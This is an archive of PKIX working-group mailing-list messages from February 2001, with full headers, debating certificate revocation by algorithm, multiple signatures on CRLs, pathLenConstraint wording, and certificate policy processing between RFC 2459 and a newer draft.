Received: from claudio.bib.co.uk (gateway.bib.co.uk [195.171.24.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id GAA06311 for <[e-mail]>; Wed, 21 Feb 2001 06:09:47 -0800 (PST)
Received: from 127.0.0.1 by claudio.bib.co.uk (InterScan E-Mail VirusWall NT); Wed, 21 Feb 2001 14:08:46 -0000 (GMT Standard Time)
Received: by claudio with Internet Mail Service (5.5.2653.19) id <14713LH2>; Wed, 21 Feb 2001 14:08:46 -0000
Message-ID: <36086CC80304D3119B040008C75DF5960494348A@claudio>
From: "Bland, Graham" <[e-mail]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[e-mail]>, [e-mail]
Subject: RE: multiple digitale signatures
Date: Wed, 21 Feb 2001 14:08:43 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id GAA06312

Sonke,

I think we have a fundamental philosophical disagreement.
A CA is responsible for the certificates it issues only according to the
clauses it places in its CPS.  It does not necessarily know the business
purposes to which the certificates will be put For example there is a great
difference in my use of a certificate to sign a $100 million contract
opposed to its use to secure possibly embarrassing valentines emails to my
wife.
The CA does not know, has no interest in knowing and has no responsibility
for the use to which the certificate is put.  As such it is not a competent
agency to determine if it should revoke my certificate, it may only respond
to my request for revocation.

The other problem is that I just do not believe that when prudence is used
to select established algorithms that have been subject to review and
cryptanalysis such algorithms are suddenly compromised.  However even
established algorithms will become weaker over time due if nothing else but
Moores law.
While your model works in the first case which I believe will not happen, it
does not work in the second case which I know will.


Graham Bland


-----Original Message-----
From: Sönke Maseberg [mailto:[e-mail]]
Sent: 21 February 2001 10:03
To: [e-mail]; [e-mail]
Subject: RE: multiple digitale signatures


Graham,

we are working at the problems if a signature algorithm is compromised
suddenly without any time to change the algorithm parameters, keys oder
key lengths. IMO the CA is responsible for the certificates of the CHs.
If now a failure occurs, the shocked certificates have to be revoked.
The idea is to revoke the certificates not explicitly but implicitly
through the revocation of the used signature algorithms. The benefit
would be a shorter CRL, and the benefit grows up if many CHs are
involved.

I agree that for multiple digital signatures different signature
algorithms have to be used with independent components like hash
algorithm and independent basic mathematical problems. The use of
multiple digital signatures is optional in relation to the specific
application: In authentication applications it makes less sense. But the
signatures in e.g. e-government have to be proofable for many years.

Sönke

_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________


Received: from tholian.securitydynamics.com (tholian.securitydynamics.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id FAA04550 for <[e-mail]>; Wed, 21 Feb 2001 05:57:21 -0800 (PST)
Received: from [192.168.7.5] by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 21 Feb 2001 13:55:42 UT
Received: from exna00.securitydynamics.com (ebola.securid.com [192.168.7.4]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id IAA15823; Wed, 21 Feb 2001 08:57:20 -0500 (EST)
Received: by exna00.securitydynamics.com with Internet Mail Service (5.5.2650.21) id <19301Y1S>; Wed, 21 Feb 2001 08:57:20 -0500
Message-ID: <[e-mail]>
From: "Linn, John" <[e-mail]>
To: "'Steve Hanna'" <[e-mail]>
Cc: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 21 Feb 2001 08:57:05 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

I share Steve's caution here.  The original text corresponds to that in
X.509; in the interests of convergence between profiles, I'd recommend that
the PKIX profile avoid making a divergent change to the semantics of
pathLenConstraint unless the current semantics are unworkably defective.
This doesn't seem to be the case here. Further, revisiting the definition of
which certificates are EE vs. CA at this point in the process seems like the
sort of change that might propagate unexpected implications or
inconsistencies in other areas of certificate processing; I'm not sure that
we should take this risk unless the need is compelling.

--jl

> -----Original Message-----
> From: Steve Hanna [mailto:[e-mail]]
> Sent: Friday, February 16, 2001 5:24 PM
> To: David A. Cooper
> Cc: [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> "David A. Cooper" wrote:
> > I believe that the problem we are currently experiencing is as a
> > result of the original text not being sufficiently clear.
> 
> I thought the original text was quite clear. But I guess not.
> 
> The original text said:
> 
>    The pathLenConstraint field is meaningful only if cA is 
> set to TRUE.
>    In this case, it gives the maximum number of CA 
> certificates that may
>    follow this certificate in a certification path. A value of zero
>    indicates that only an end-entity certificate may follow 
> in the path.
> 
> The revised text says:
> 
>    The pathLenConstraint field is meaningful only if cA is 
> set to TRUE.
>    In this case, it gives the maximum number of CA 
> certificates that may
>    follow this certificate in a certification path. (Note: One end-
>    entity certificate will follow the final CA certificate in 
> the path.
>    The last certificate in a path is considered an end-entity
>    certificate, whether the subject of the certificate is a 
> CA or not.)
>    A pathLenConstrinat of zero indicates that only an end-entity
>    certificate may follow in the path.
> 
> I find it odd to say that a certificate with cA=TRUE is a CA 
> certificate
> *unless* it is the last certificate in a path. I suppose this 
> is only a
> wording problem, but I find this wording *less* clear than the old
> wording.
> 
> I also question whether the revised semantics for 
> pathLenConstraint will
> be as easy to understand for CA operators.
> 
> Do we really need to complicate things like this to handle a case that
> you admit will be rare (a CA that uses another CA for indirect CRLs,
> combined with max_path_length of 0)?
> 
> > You seem to suggest that we are now stating that a path may be valid
> > expect for the keyCertSign key usage. However, one should never make
> > use of the keyCertSign key usage bit when it appears in the last
> > certificate in a path.
> 
> This is true. But I doubt that it's widely understood. 
> Perhaps it should
> be highlighted in the document.
> 
> > Of course, as I mentioned earlier, it is possible to achieve the
> > desired results in a PKI using either of the semantics, so the main
> > goal should be to ensure that whatever the final decision is, the
> > semantics are clearly written in the next draft of the 
> certificate and
> > CRL profile.
> 
> Agreed.
> 
> > Perhaps others, particularly those who have already implemented this
> > extension, could provide their opinions on this subject as well.
> 
> I agree with this as well. I'll be on vacation next week, but I trust
> you folks to make the right decision. If I'm alone in my concern about
> this, then we should go with rough consensus, which seems to 
> be running
> against me at the moment.
> 
> -Steve
> 


Received: from claudio.bib.co.uk (gateway.bib.co.uk [195.171.24.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id FAA03999 for <[e-mail]>; Wed, 21 Feb 2001 05:54:48 -0800 (PST)
Received: from 127.0.0.1 by claudio.bib.co.uk (InterScan E-Mail VirusWall NT); Wed, 21 Feb 2001 13:53:45 -0000 (GMT Standard Time)
Received: by claudio with Internet Mail Service (5.5.2653.19) id <14713LCT>; Wed, 21 Feb 2001 13:53:44 -0000
Message-ID: <36086CC80304D3119B040008C75DF59604943488@claudio>
From: "Bland, Graham" <[e-mail]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[e-mail]>, [e-mail]
Subject: RE: Algorithm revocation
Date: Wed, 21 Feb 2001 13:53:43 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id FAA04000

Sonke,

Comments in line:

Graham Bland

-----Original Message-----
From: Sönke Maseberg [mailto:[e-mail]]
Sent: 21 February 2001 10:02
To: [e-mail]; [e-mail]
Subject: Re: Algorithm revocation


Tom,

I would like to quote 'PKIX Roadmap - March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>] part 3.5.6.4 Revocation

 When a PKC is issued, it is expected to be in use for its entire
 validity period. However, various circumstances may cause a PKC to
 become invalid prior to the expiration of the validity period. Such
 circumstances include change of name, change of association between
 subject and CA (e.g., an employee terminates employment with an
 organization), and compromise or suspected compromise of the
 corresponding private key. Under such circumstances, the CA needs to
 revoke the PKC.

The example you quote covers the compromise of a private key i.e. its
disclosure or suspected disclosure. I do not believe it was intended to
cover the total and sudden compromise of an algorithm where the CA
certificate is also compromised.

Under the assumption that a signature algorithm is compromised suddenly,
the CA have to revoke all of the certificates that use this algorithm.
And if the CA has a lot of CHs the CRL would be very large and not
practically to handle. So IMO 'revokeAlgorithms' would be a possibility
to revoke implicitly all shocked certificates.

It is extremely unlikely that an algorithm is suddenly compromised, a far
more likely scenario is that over time the strength of the algorithm with a
given key length is reduced.  I think all would agree that 40 bit DES is
compromised.  However I am certain that a large proportion of internet
browsers still only support 40 bit DES.  If you were responsible for the
operations of a CA would you now refuse to issue 40 bit SSL certificates?.
If so at what point in time would you have made that decision and what
criteria would you use to justify it?  

The basic rule behind a pyramided set of timestamps is good if not the
same signature algorithm for all signatures is used. Otherwise if the
signature algorithm is compromised at time you cannot proof the time of
creation of a signature.

I agree, if you require this then you must implement multiple time stamping
services and select on the basis of the signature algorithm required.

Sönke

_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________


Received: from fgwmail6.fujitsu.co.jp (fgwmail6.fujitsu.co.jp [192.51.44.36]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA20873 for <[e-mail]>; Wed, 21 Feb 2001 03:11:47 -0800 (PST)
Received: from m4.gw.fujitsu.co.jp by fgwmail6.fujitsu.co.jp (8.9.3/3.7W-MX0012-Fujitsu Gateway) id UAA18778; Wed, 21 Feb 2001 20:11:08 +0900 (JST) (envelope-from [e-mail])
Received: from nic10.fjh.se.fujitsu.co.jp by m4.gw.fujitsu.co.jp (8.9.3/3.7W-0101-Fujitsu Domain Master) id UAA24654; Wed, 21 Feb 2001 20:11:06 +0900 (JST) (envelope-from [e-mail])
Received: from anakin (anakin.fjh.se.fujitsu.co.jp [10.131.201.130]) by nic10.fjh.se.fujitsu.co.jp (8.9.3+3.2W/3.7W) with ESMTP id UAA22112; Wed, 21 Feb 2001 20:11:05 +0900 (JST)
Date: Wed, 21 Feb 2001 20:11:04 +0900
From: TAKIGUCHI Naruhito <[e-mail]>
To: "David A. Cooper" <[e-mail]>
Subject: Re: certificate policies extension in RFC2459 and new-part1-04
Cc: [e-mail]
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.00.03

David,

Thank you very much.
I misunderstood, and could understand clearly by your reply.

"David A. Cooper" wrote:
> At 06:36 PM 2/20/01 +0900, TAKIGUCHI Naruhito wrote:
> >It seems to me that there is an inconsistency between RFC2459 and 
> >new-part1-04 about processing the certificate policies extension.
> 
> Yes, this is true. Sometime in 1999, after RFC 2459 was completed, defects were discovered in the certificate policy processing semantics of X.509. As a result, a defect report was issued against X.509. The text that appears in new-part1-04 reflects the resolution to that defect report (similar changes were also made to X.509 to reflect the resolution to the defect report).
> 
> >In RFC2459, if the certificate policies extension is marked as non-critical, it is not processed. 
> >But in new-part1-04, the certificate policies extension is processed regardless of its critical flag.
> 
> This is not exactly true, but it was the case that previously the certificate policies extension was processed differently when it was critical from when it was non-critical. The rules now state that the extension is processed in the same way whether it is critical or non-critical.
> 
> >For example, consider there is a certificate path as shown below, 
> >and the acceptable policy set is (A). In RFC2459, this path's validation
> >processing will succeed. But in new-part1-04, this path's validation
> >processing will fail.
> 
> Not necessarily. If the require-explicit-policy flag is not set, then a certification path will never fail as a result of certificate policies. On the other hand, if the require-explicit-policy flag is set, then the path below would fail.
> 
> >     +------------------------+
> >     | root CA cert           |
> >     |                        |
> >     | critical policy(A)     |
> >     +------------------------+
> >                 |
> >     +------------------------+
> >     | end entity cert        |
> >     |                        |
> >     | non-critical policy(B) |
> >     +------------------------+
> >
> >And, new-part1-04 requires that certificate must have a certificate policies extension.
> >For example, a following certificate path will succeed in RFC2459, but will fail in new-part1-04.
> 
> Again, this is only true is the require-explicit-policy flag is set. However, under the rules in RFC 2459, a path would also fail if the require-explicit-policy flag were set and a subsequent certificate did not include the certificate policies extension.
> 
> >     +------------------------+
> >     | root CA cert           |
> >     |                        |
> >     | critical policy(A)     |
> >     +------------------------+
> >                 |
> >     +------------------------+
> >     | end entity cert        |
> >     |                        |
> >     |      (no policy)       |
> >     +------------------------+
> >
> >Thus, new-part1-04 doesn't have compatibility with a certificate which was issued based on RFC2459?
> >How do you think these compatibility between RFC2459 and new-part1-04?
> 
> While there may be some problems that occur if certificates are issued based on one set of semantics and processed under the other set of semantics, the problems are not as substantial as you seem to think.
> 
> The main point, however, is that the certificate policies semantics as described in RFC 2459 were found to be broken nearly 2 years ago and they needed to be fixed. The text in new-part1-04 reflects the fix that was agreed to in late 1999.
> 
> Dave
> 

-----
Takiguchi Naruhito
FUJITSU HOKURIKU SYSTEMS LTD.




Received: from mout0.freenet.de ([e-mail] [194.97.50.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA13422 for <[e-mail]>; Wed, 21 Feb 2001 02:01:24 -0800 (PST)
Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.22 #1) id 14VW5M-0005D4-00; Wed, 21 Feb 2001 11:01:24 +0100
Received: from a6198.pppool.de ([213.6.97.152] helo=darmstadt.gmd.de) by mx1.freenet.de with esmtp (Exim 3.22 #1) id 14VW5L-0004BK-00; Wed, 21 Feb 2001 11:01:23 +0100
Message-ID: <[e-mail]>
Date: Wed, 21 Feb 2001 11:03:21 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: [e-mail], [e-mail]
Subject: RE: multiple digitale signatures
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Graham,

we are working at the problems if a signature algorithm is compromised
suddenly without any time to change the algorithm parameters, keys oder
key lengths. IMO the CA is responsible for the certificates of the CHs.
If now a failure occurs, the shocked certificates have to be revoked.
The idea is to revoke the certificates not explicitly but implicitly
through the revocation of the used signature algorithms. The benefit
would be a shorter CRL, and the benefit grows up if many CHs are
involved.

I agree that for multiple digital signatures different signature
algorithms have to be used with independent components like hash
algorithm and independent basic mathematical problems. The use of
multiple digital signatures is optional in relation to the specific
application: In authentication applications it makes less sense. But the
signatures in e.g. e-government have to be proofable for many years.

Sönke




Received: from mout0.freenet.de ([e-mail] [194.97.50.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA13267 for <[e-mail]>; Wed, 21 Feb 2001 02:00:19 -0800 (PST)
Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.22 #1) id 14VW4G-0004XW-00; Wed, 21 Feb 2001 11:00:16 +0100
Received: from a6198.pppool.de ([213.6.97.152] helo=darmstadt.gmd.de) by mx1.freenet.de with esmtp (Exim 3.22 #1) id 14VW4G-0003YK-00; Wed, 21 Feb 2001 11:00:16 +0100
Message-ID: <[e-mail]>
Date: Wed, 21 Feb 2001 11:02:14 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: [e-mail], [e-mail]
Subject: Re: Algorithm revocation
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Tom,

I would like to quote 'PKIX Roadmap - March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>] part 3.5.6.4 Revocation

 When a PKC is issued, it is expected to be in use for its entire
 validity period. However, various circumstances may cause a PKC to
 become invalid prior to the expiration of the validity period. Such
 circumstances include change of name, change of association between
 subject and CA (e.g., an employee terminates employment with an
 organization), and compromise or suspected compromise of the
 corresponding private key. Under such circumstances, the CA needs to
 revoke the PKC.

Under the assumption that a signature algorithm is compromised suddenly,
the CA have to revoke all of the certificates that use this algorithm.
And if the CA has a lot of CHs the CRL would be very large and not
practically to handle. So IMO 'revokeAlgorithms' would be a possibility
to revoke implicitly all shocked certificates.


The basic rule behind a pyramided set of timestamps is good if not the
same signature algorithm for all signatures is used. Otherwise if the
signature algorithm is compromised at time you cannot proof the time of
creation of a signature.


Sönke




Received: from mout0.freenet.de ([e-mail] [194.97.50.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA13125 for <[e-mail]>; Wed, 21 Feb 2001 01:59:11 -0800 (PST)
Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.22 #1) id 14VW31-0004KE-00; Wed, 21 Feb 2001 10:58:59 +0100
Received: from a6198.pppool.de ([213.6.97.152] helo=darmstadt.gmd.de) by mx1.freenet.de with esmtp (Exim 3.22 #1) id 14VW30-0002xZ-00; Wed, 21 Feb 2001 10:58:59 +0100
Message-ID: <[e-mail]>
Date: Wed, 21 Feb 2001 11:00:38 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: Algorithm revocation
References: <[e-mail]> <[e-mail]> <v04220801b6b8ae2685f7@[128.33.238.48]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Steve,

I would like to quote 'PKIX Roadmap- March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>], part 3.5.6.2. Key Compromise

 In the case of a key compromise, the transition will not be
 "graceful" in that there will be an unplanned switch of PKCs and
 keys; users will not have known in advance what was about to happen.
 Still, the PKI must support the ability to declare that the previous
 PKC is now invalid and shall not be used, and to announce the
 validity and availability of the new PKC.

 Note: compromise of a private key associated with a Root CA is
 catastrophic for users relying on that Root CA. If a Root CA's
 private key is compromised, that CA's PKC must be revoked and all
 PKCs subordinate to it must also be revoked. Until such time as the
 Root CA has been issued a new PKC and the Root CA issues PKCs to
 users relying upon it, users relying on that Root CA are cut off
 from the rest of the system, as there is no way to develop a valid
 certification path back to a trusted node.

 Further, users will likely have to be notified by out-of-band
 mechanisms about the change in CA keys. [...]

To avoid these out-of-band mechanisms IMO multiply-signed CRLs or OCSP
responses are necessary.

Sönke


Stephen Kent schrieb:

> Soenke,
>
> While I am sympathetic to the concern that motivated the suggestion
> of revoking an algorithm, I think the list discussion has pointed out
> pitfalls with the proposed approach. Fundamentally, a decision to
> accept or reject use of algorithm is more an RP issue that a CA
> revocation issue.  I am less sympathetic to the proposed dual
> signature proposal for PKI data structures, including your specific
> OCSP example. Use of multiple signatures are appropriate in some
> application contexts, but have been explored and rejected in X.509
> infrastructure data elements, e.g., certs & CRLs, long ago.
>
> Steve



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA10229 for <[e-mail]>; Tue, 20 Feb 2001 19:19:35 -0800 (PST)
Received: from [128.33.238.63] (TC068.BBN.COM [128.33.238.68]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id WAA09659; Tue, 20 Feb 2001 22:19:33 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <v04220801b6b8ae2685f7@[128.33.238.48]>
In-Reply-To: <[e-mail]>
References:  <[e-mail]> <[e-mail]>
Date: Tue, 20 Feb 2001 18:33:36 -0500
To: Soenke Maseberg <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Algorithm revocation
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Soenke,

While I am sympathetic to the concern that motivated the suggestion 
of revoking an algorithm, I think the list discussion has pointed out 
pitfalls with the proposed approach. Fundamentally, a decision to 
accept or reject use of algorithm is more an RP issue that a CA 
revocation issue.  I am less sympathetic to the proposed dual 
signature proposal for PKI data structures, including your specific 
OCSP example. Use of multiple signatures are appropriate in some 
application contexts, but have been explored and rejected in X.509 
infrastructure data elements, e.g., certs & CRLs, long ago.

Steve


Received: from proxy.ojp.usdoj.gov (lists.ojp.usdoj.gov [149.101.22.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id IAA24266 for <[e-mail]>; Tue, 20 Feb 2001 08:40:40 -0800 (PST)
Received: from ns.ojp.usdoj.gov by proxy.ojp.usdoj.gov via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 20 Feb 2001 16:31:59 UT
Received: from ojpsmtp.ojp.usdoj.gov (ojpmail.ojp.usdoj.gov [10.121.16.126]) by lists.ojp.usdoj.gov (8.9.3/8.9.3) with SMTP id LAA29863 for <[e-mail]>; Tue, 20 Feb 2001 11:40:10 -0500 (EST)
Received: from GATEWAY-Message_Server by ojpsmtp.ojp.usdoj.gov with Novell_GroupWise; Tue, 20 Feb 2001 11:38:30 -0500
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.4
Date: Tue, 20 Feb 2001 11:38:19 -0500
From: "Lawrence Gross" <[e-mail]>
To: <[e-mail]>
Subject:  unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id IAA24267

unsubscribe



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA22665 for <[e-mail]>; Tue, 20 Feb 2001 07:58:20 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA14246 for <[e-mail]>; Tue, 20 Feb 2001 10:58:21 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Tue, 20 Feb 2001 10:58:05 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: certificate policies extension in RFC2459 and new-part1-04
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 06:36 PM 2/20/01 +0900, TAKIGUCHI Naruhito wrote:
>It seems to me that there is an inconsistency between RFC2459 and 
>new-part1-04 about processing the certificate policies extension.

Yes, this is true. Sometime in 1999, after RFC 2459 was completed, defects were discovered in the certificate policy processing semantics of X.509. As a result, a defect report was issued against X.509. The text that appears in new-part1-04 reflects the resolution to that defect report (similar changes were also made to X.509 to reflect the resolution to the defect report).

>In RFC2459, if the certificate policies extension is marked as non-critical, it is not processed. 
>But in new-part1-04, the certificate policies extension is processed regardless of its critical flag.

This is not exactly true, but it was the case that previously the certificate policies extension was processed differently when it was critical from when it was non-critical. The rules now state that the extension is processed in the same way whether it is critical or non-critical.

>For example, consider there is a certificate path as shown below, 
>and the acceptable policy set is (A). In RFC2459, this path's validation
>processing will succeed. But in new-part1-04, this path's validation
>processing will fail.

Not necessarily. If the require-explicit-policy flag is not set, then a certification path will never fail as a result of certificate policies. On the other hand, if the require-explicit-policy flag is set, then the path below would fail.

>     +------------------------+
>     | root CA cert           |
>     |                        |
>     | critical policy(A)     |
>     +------------------------+
>                 |
>     +------------------------+
>     | end entity cert        |
>     |                        |
>     | non-critical policy(B) |
>     +------------------------+
>
>And, new-part1-04 requires that certificate must have a certificate policies extension.
>For example, a following certificate path will succeed in RFC2459, but will fail in new-part1-04.

Again, this is only true is the require-explicit-policy flag is set. However, under the rules in RFC 2459, a path would also fail if the require-explicit-policy flag were set and a subsequent certificate did not include the certificate policies extension.

>     +------------------------+
>     | root CA cert           |
>     |                        |
>     | critical policy(A)     |
>     +------------------------+
>                 |
>     +------------------------+
>     | end entity cert        |
>     |                        |
>     |      (no policy)       |
>     +------------------------+
>
>Thus, new-part1-04 doesn't have compatibility with a certificate which was issued based on RFC2459?
>How do you think these compatibility between RFC2459 and new-part1-04?

While there may be some problems that occur if certificates are issued based on one set of semantics and processed under the other set of semantics, the problems are not as substantial as you seem to think.

The main point, however, is that the certificate policies semantics as described in RFC 2459 were found to be broken nearly 2 years ago and they needed to be fixed. The text in new-part1-04 reflects the fix that was agreed to in late 1999.

Dave




Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA21708 for <[e-mail]>; Tue, 20 Feb 2001 07:53:26 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA252926; Tue, 20 Feb 2001 10:52:21 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id KAA42310; Tue, 20 Feb 2001 10:49:37 -0500
Importance: Normal
Subject: Re: Algorithm revocation
To: Soenke Maseberg <[e-mail]>
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <[e-mail]>
From: "Tom Gindin" <[e-mail]>
Date: Tue, 20 Feb 2001 10:53:04 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Release 5.0.6a |January 17, 2001) at 02/20/2001 10:53:25 AM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id HAA21711

     There are two reasons IMO why "revokedAlgorithms" does not belong in
the base CRL structure.  First, a CA is not authoritative for the
revocation status of an algorithm or key length in the way in which it is
authoritative for the revocation of certificates it issued; two CA's can
easily disagree about whether RSA-768 is usable for digital signatures and
it is up to the RP software to decide which to trust.  I myself would make
a "revokedAlgorithms" extension non-critical, since its main effect would
be to issue warnings to distributed RP's that "your trusted server thinks
that you should stop trusting keys like these, in case you hadn't heard".
Second, as a practical matter, adding an extension will not break existing
software in the way that adding a new field to the base structure will.
     It is true that timestamps using a compromised algorithm are
themselves compromised.  However, the basic rule behind a pyramided set of
timestamps is that if there is no time T at which ALL of the keys used for
signatures in the set with timestamps before T had been compromised, then
the set has not been compromised.  Since the compromise of an algorithm is
a public event, it is much easier to support a statement that "no
compromise occurred before time T1" for an algorithm compromise than for an
individual key compromise.
     I don't really want to get into multiply-signed CRL's.  It makes
better sense IMHO for the CA to generate the same TBSCertList, sign it with
each of the multiple keys, and publish them under the same attribute.  This
would be more efficient over the network if the client used the internal
value filtering that you may have seen discussed last month on this list
(especially in the messages entitled "Certificate Matching"), and in
draft-legg-ldapext-component-matching-00.txt.

          Tom Gindin


Soenke Maseberg <[e-mail]>@mailserver1.hrz.tu-darmstadt.de
on 02/20/2001 08:36:26 AM

Sent by:  [e-mail]


To:   Tom Gindin/Watson/IBM@IBMUS, [e-mail]
cc:
Subject:  Re: Algorithm revocation



Hi.


Tom Gindin wrote:

>     I don't see the point of having entry extensions inside
> revokedAlgorithms, nor do I see any need to extend the base CRL structure
> for them.  The criticality of this extension as a whole is a matter of
> opinion.

minimumSafeKeyBits is a good idea. But I think, revokedAlgorithms is at the
same level as revokedCertificates.
What about the following extensions of Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]?

  CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }

  TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF CompromisedAlgorithm
OPTIONAL      -- EXTENSION
      }

   CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits      INTEGER DEFAULT 1000000000,  -- or any very
large number
                           -- would a combination of { KeyUsage flag, Size
}
be more useful?
      revocationDate          Time,
      explanatoryText         UTF8String OPTIONAL
      }


> However, signed timestamp pyramiding ought to protect against later
> compromises of algorithms which are not believed to be questionable at
the
> time of the OCSP check.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.


Regards,
Sönke

---

Sönke Maseberg
Dipl.-Math.

GMD - Institut für Sichere Telekooperation
Rheinstr. 75, D-64295 Darmstadt
Tel: [phone], Fax: [phone]

Technische Universität Darmstadt
Institut fuer Theoretische Informatik
Lehrstuhl Prof. J. Buchmann
Alexanderstr. 10, D-64283 Darmstadt






Received: from claudio.bib.co.uk (gateway.bib.co.uk [195.171.24.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id GAA16674 for <[e-mail]>; Tue, 20 Feb 2001 06:54:43 -0800 (PST)
Received: from 127.0.0.1 by claudio.bib.co.uk (InterScan E-Mail VirusWall NT); Tue, 20 Feb 2001 14:53:40 -0000 (GMT Standard Time)
